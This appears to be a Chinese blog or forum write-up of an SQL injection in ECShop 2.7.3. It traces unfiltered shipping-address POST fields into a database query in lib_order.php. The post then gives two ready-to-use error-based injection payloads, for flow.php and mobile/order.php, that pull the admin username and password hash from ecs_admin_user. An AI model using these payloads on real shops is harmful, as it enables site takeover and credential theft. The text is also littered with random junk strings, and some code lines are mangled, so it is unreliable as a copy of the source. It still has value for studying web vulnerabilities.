前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
! K5 ]) [- j/ d, V+ z
( q6 b* ]5 @: g! h$ o% m0 J2 u: b 漏洞关键文件:
8 z5 }2 [- V5 }% @ M/ o) n- o& U9 H% a' U. f
/includes/lib_order.php" ?6 e1 h( v- b: K. ]6 ^
2 P- N% ^2 F, @ D: f' ~1 g
关键函数:
- H: `/ |" h$ K$ M) e6 T! v
4 p( z: B6 a0 V% N W( H
+ a, M$ a# ^% N# \! O. G9 Z
; `& z/ Z) n( T. V$ U H01 function available_shipping_list($region_id_list) + C+ c3 T- e7 r/ M! R' y
7 L1 k% M: H! ~& J, n, @ |( U* i
02 { . J, A; B+ m. T; h+ o: i
/ ]) `, ?6 J+ E2 T) e- H8 [( V03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
, u9 r% V i: P) r
+ Q8 j; K, V& u2 c; }* b1 x3 p04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 8 H7 Y3 G3 o/ c1 F3 v5 t! g: _% c% j
% |) N6 l% J4 o- j. b2 e8 a( w4 z: z& f
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
i: I3 G$ M. X' r- |) l0 O0 Z3 `6 A& g+ m1 y
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
3 q( S/ C9 |% Q) Y. m7 `, z+ A8 y; Z
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# U* D* U2 H. c; P( u
. F1 T% Q+ ?+ Y- \8 h7 p# G. _08 'WHERE r.region_id ' . db_create_in($region_id_list) .
0 ?; ~( G! i# s- ^, y/ C
5 y+ ^* z/ O+ _( n. o" _09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
/ u4 Q' g. G- }1 W4 L; `7 e
3 T/ [# Z1 ] C3 s/ L$ h10 * O: E) `% W& I$ O
, b% ~7 K. f: N; y
11 return $GLOBALS['db']->getAll($sql);
. l+ ?2 |" i' Z+ ~1 D! _8 I5 Q
& @' c0 e) I( G12 }
% ^2 _- A' ^8 {" C; t" m, W
$ m: M z( G- s( G: ?显然对传入的参数没有任何过滤就带入了查询语句。
1 {+ I& O) V2 L+ k, r " N+ o* m' D, `, n% \+ {
下面我们追踪这个函数在flow.php中:$ L3 y' J7 ~ z% B
第531行: 3 ^( a/ n# |' T
; h8 V6 y( P9 p2 L7 M9 I/ n. Q1 $shipping_list = available_shipping_list($region); , p# f# @) J" T
9 x0 I: i9 S0 t; T) K
/ F% P$ r' B3 d2 Q. c/ u: W m+ ?. \/ ~' D2 E0 u d
/ }6 W: x; J' B/ v" K
0 |0 y# S- d3 {7 h( K再对传入变量进行追踪:/ v7 j. S7 q% q% e9 N/ ?
' p- c# a" [6 z$ W" F* K, y5 j
第530行: 7 `6 ]0 W2 \, ~& `
8 j7 V; ?: G! b0 O+ j1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 4 b4 D3 y* T. Q4 ` q# }
2 z. m q0 l( I5 r u; {0 M" @( l8 i$ Z
0 G% p/ |3 Z+ |. C/ c- C: N6 c1 r7 E! ^2 g( b
, H9 b: w2 E9 h& p }( F# O7 p3 q0 j" S8 G+ z8 U# l
第473行: : w1 ~0 y5 [- l/ j
' M8 i" A/ e( A6 k. e1 $consignee = get_consignee($_SESSION['user_id']); % T( {8 V. E5 S5 p& x% W
# |1 M s# _8 Y1 |; W% J到了一个关键函数:
: l6 f4 r ^+ {9 z5 h1 E! `' Q2 b* Q+ v8 s8 I; N0 s8 J: z
/includes/lib_order.php
* a$ ~9 f. n9 Q% d' F$ G
+ r9 |) e2 @& A, \( }( I " y( U: L |( q4 H
* w0 ~% U* ~; ~/ `) G# Q 2 m6 N- V) O1 |( w8 ?# V# ]
8 \1 ]; [0 u! l. m/ ~: t- |: \
01 function get_consignee($user_id) 0 |! ^& s9 ]" ]0 _- C# |% ]
3 i- F. n# Z, E3 F8 P$ O+ \02 { - F+ W/ T0 S. d6 [; |' Z+ L
' ^4 }+ k: f7 y5 m# P: |, N03 if (isset($_SESSION['flow_consignee'])) % v' J/ C; r& Z- m# [0 A4 `
4 M2 k1 P! w8 m6 i
04 { y! d# Y- j+ j( U1 G1 i
$ H- d( }* r4 d6 x/ f
05 /* 如果存在session,则直接返回session中的收货人信息 */
+ L0 j/ n m) E. ^9 }5 @' t+ m3 R$ u2 u
06 3 V/ T4 n1 o) ] _8 m
# Y' i+ G7 Q2 X7 b
07 return $_SESSION['flow_consignee']; 4 l& x g( }8 g* S4 @. ?0 F
' w: l7 Q# ]' R) s% p6 z) V$ J
08 } ]& P: V0 d6 {
/ |3 F& N! q& B! z& L& c0 X
09 else + t: x ~8 T, w4 c0 e2 u
5 N! s0 M1 q6 O3 P10 {
- k7 L: _( c# N5 |0 B' _
! R1 _, i9 I# k11 /* 如果不存在,则取得用户的默认收货人信息 */
$ M) E( Z7 z1 c6 }& _8 f' U0 ~3 `7 F3 m$ d9 b# X
12 $arr = array();
) f7 \6 @$ H+ I! [& q8 w( a( e
, N/ @- j* _* s% M. j! Y# L13
. k8 A9 h4 i( `
( n% u ~* _( l2 ]7 \" B3 @& ?" z14 if ($user_id > 0)
. B" I: M2 X" `, O! N# j, u {2 D* g, k" K8 u! f
15 {
' T. r/ j# o5 n6 _" K
' S( b0 e* ?' \& C2 z* R- g; V6 P16 /* 取默认地址 */
7 I+ v/ J" s7 w( W6 d* Z: y6 t
: \9 z0 F5 [9 l$ ^" A17 $sql = "SELECT ua.*". 8 _; p5 v6 r5 C8 z) T) k
0 G6 Q# j/ b- L" Q( Y% c18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. # u# ]$ @5 l$ g1 p9 N) e
+ X6 Q# `4 p) K19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
) F' W; @6 I% H* g8 {3 S8 D' t R2 R9 N! M
20 % B0 }7 k/ V8 k$ P: e
* ]( w+ a, q4 u6 M2 C- Q& [
21 $arr = $GLOBALS['db']->getRow($sql); 4 Z/ Z! f* \6 r9 z( F4 F7 V' H
/ S' r, F$ `) N' S4 h% z4 h" p# D
22 } ! \5 X! ?) e' ^, x+ F* ]& x
. C& C: c) ~! |: U2 l3 l, i23
5 M; z8 ]4 c+ J5 g( k* c; D: b
& i) L9 E% @3 ?/ T$ a4 _: h24 return $arr; : t; h/ ^( L. w3 ?. l3 p
. X. F7 s6 O' s6 r9 @( U# \- {25 } 2 ]% ?2 k2 B# z7 V4 h# {0 Y
' }: b0 y# d# `9 N7 i
26 }
/ W. r: \1 K. h. q0 l0 f7 m1 J
( b$ R u3 n# C( o* _' F h0 G显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?4 i" Q" f! A d6 d7 ^- F
$ c; H4 J. e3 h8 d, Q7 L) v
) P2 X4 Q1 V) Q& m9 P; H8 a' b
" r, j" q% b& {# z+ a& [' a" ?& G$ w- E
关键点:! C9 X& z) g5 a' n4 J1 a7 ^
1 @1 |/ T* n0 b& {3 r9 Y8 l
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);" X+ S1 G1 _& x# @/ I* A* }1 w
" X |* _ d0 W: L! A这里对传入参数反转义存入$_SESSION中。
4 Z3 V! X/ ^& D9 N8 v' M( q+ q
, M' R- u X' a- L R
6 y* U! ]! i8 J* ]; D1 ]; X
0 c% W4 k; \9 I% k0 R" l: a然后看下:! d" v9 C5 l4 r, c/ E5 N# k5 k# U
/ l0 a5 o- p- {6 ~& I x( i) W
- ?. J0 ?: t( p! Q. P
- F. g; `* o2 z+ W + c# C( H. \/ { @$ ~4 z6 K
* ~) I4 F# M- U
01 $consignee = array(
/ O0 M! j6 \2 p- h. r( p7 Z1 [0 z4 Z, X; D9 m4 Z
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; o! z7 ^# t, z% R5 b& q
3 _% C8 z5 W9 f' p
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 6 X( Y! W+ l" |' A3 j4 |
: y1 v% ~; z K- V04 'country' => empty($_POST['country']) ? '' _POST['country'],
% h8 R) u' U2 `( z5 q' `1 S4 d7 g3 N( u# u
05 'province' => empty($_POST['province']) ? '' _POST['province'], / D1 S3 B: g( d" Y, {( Z) g- {9 A
7 t- }& g, h8 R% z
06 'city' => empty($_POST['city']) ? '' _POST['city'],
2 T" _. {7 E2 }& o0 P5 a$ w1 X0 ]: [/ f7 H( h% G. \& D1 v
07 'district' => empty($_POST['district']) ? '' _POST['district'], " ]1 {6 Q# K9 v+ ?: g+ u
' p9 H: F% u$ T$ F08 'email' => empty($_POST['email']) ? '' _POST['email'], 3 J7 _: h$ v3 V0 E( C
( z$ @: R _8 K- u+ T
09 'address' => empty($_POST['address']) ? '' _POST['address'],
5 P5 y) T) ^7 U1 `0 r" O. W5 W, v L3 f8 t/ w @
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 1 x# v: u4 v( z
' A! Y2 d1 w1 N; l& x- w11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), - A/ y) F: L: W, i5 V
) h7 l. j. }. r+ |
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
' ~, r9 W* j+ n/ r
; e; s4 L) c; u& ?- k13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
+ N0 @0 f# s/ B/ s
+ u) g% C% k+ ]) i14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], : {$ q7 [! Q7 J" t+ _+ R# P1 w
2 l t7 c5 W! d* a& I$ E4 q15 ); & P* x3 I- o! {8 t2 l& o0 V7 v) E
b: b; \" W& L( Z$ V7 q k" v) _好了注入就这样出现了。
+ n' U+ g% A/ _/ G/ y# @
+ t: A! x. Z: A1 Q, M+ `# N( J% s==================9 Q* o& E) d% ?- @4 H7 _
: o8 ]+ f! j* z) R2 I. t8 g* ?9 [注入测试:) b8 }6 T% Q9 P" X* ?
8 x6 u! O% M2 b4 [! `环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
" w. z6 B8 l* o8 Y- m( L% w, {
- W0 S5 b; }4 v3 E3 n+ f测试程序:ECShop_V2.7.3_UTF8_release1106
" ?: C8 a0 q1 f+ I4 o5 M1 y& T
+ a0 p% U2 @1 [' D / V. X2 D+ _# V& g% X# }3 P
8 p# @ k& V( x2 h# W
1.首先需要点击一个商品加入购物车
, B8 L+ |' h) r- p8 o0 p: ~9 u: {% L, G9 O! Q3 G
2.注册一个会员帐号0 o& p8 M4 Y6 k* |9 a! }
+ j9 `0 \6 D' D! ^, k
3.post提交数据- v3 c: O/ [! k2 C/ e5 ]/ G
# ?) T( ^) `+ o- h0 l4 A
5 h5 N( G) l) I+ R" u
m5 \- z" z7 K! X* Z1 http://127.0.0.1/ecshop/flow.php $ ?# [5 h9 A. W8 g; f# g
0 m; s- s) p& N
2 0 m8 Q ]4 I, ?9 ^
( G; v( b" i, E! c* O" A( M3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
! A8 H8 U$ |6 ~. L9 P举一反三,我们根据这个漏洞我们可以继续深入挖掘:# G! G' ?# b4 s/ O
; f) {4 A7 [& J* n! G2 B
我们搜寻关键函数function available_shipping_list(). p7 d5 j' n+ r. P% O: `2 Z
$ L4 S" V9 [! Y3 u8 O+ |# @
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
$ D% [2 u1 t# ~0 T9 [0 G
# m/ G9 X0 H! ^' d利用exp:
6 e) H$ x# v- w5 g8 s) b
1 k. G# o o/ L; q1 i1.点击一个商品,点击购买商标0 G" L! P. j" m& S: C7 ~
0 h: K7 e7 ~3 Z2.登录会员帐号5 x' k( p7 ^1 Q' h
4 ^" u5 l0 P f( N( d$ i4 H# D3.post提交:
+ d* m0 D V/ H
( Z; k) M; g, x: y& ohttp://127.0.0.1/ecshop/mobile/order.php
! c7 ~) w4 h( X0 m: E9 v( r- S) v2 e* l9 s
@) [* {' B! K1 ?+ k/ F5 [! |5 }# u7 `8 l
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=% `4 o/ H! g3 q4 x+ a- A; U7 p
' I+ y% e" E5 v- p' ~$ j
|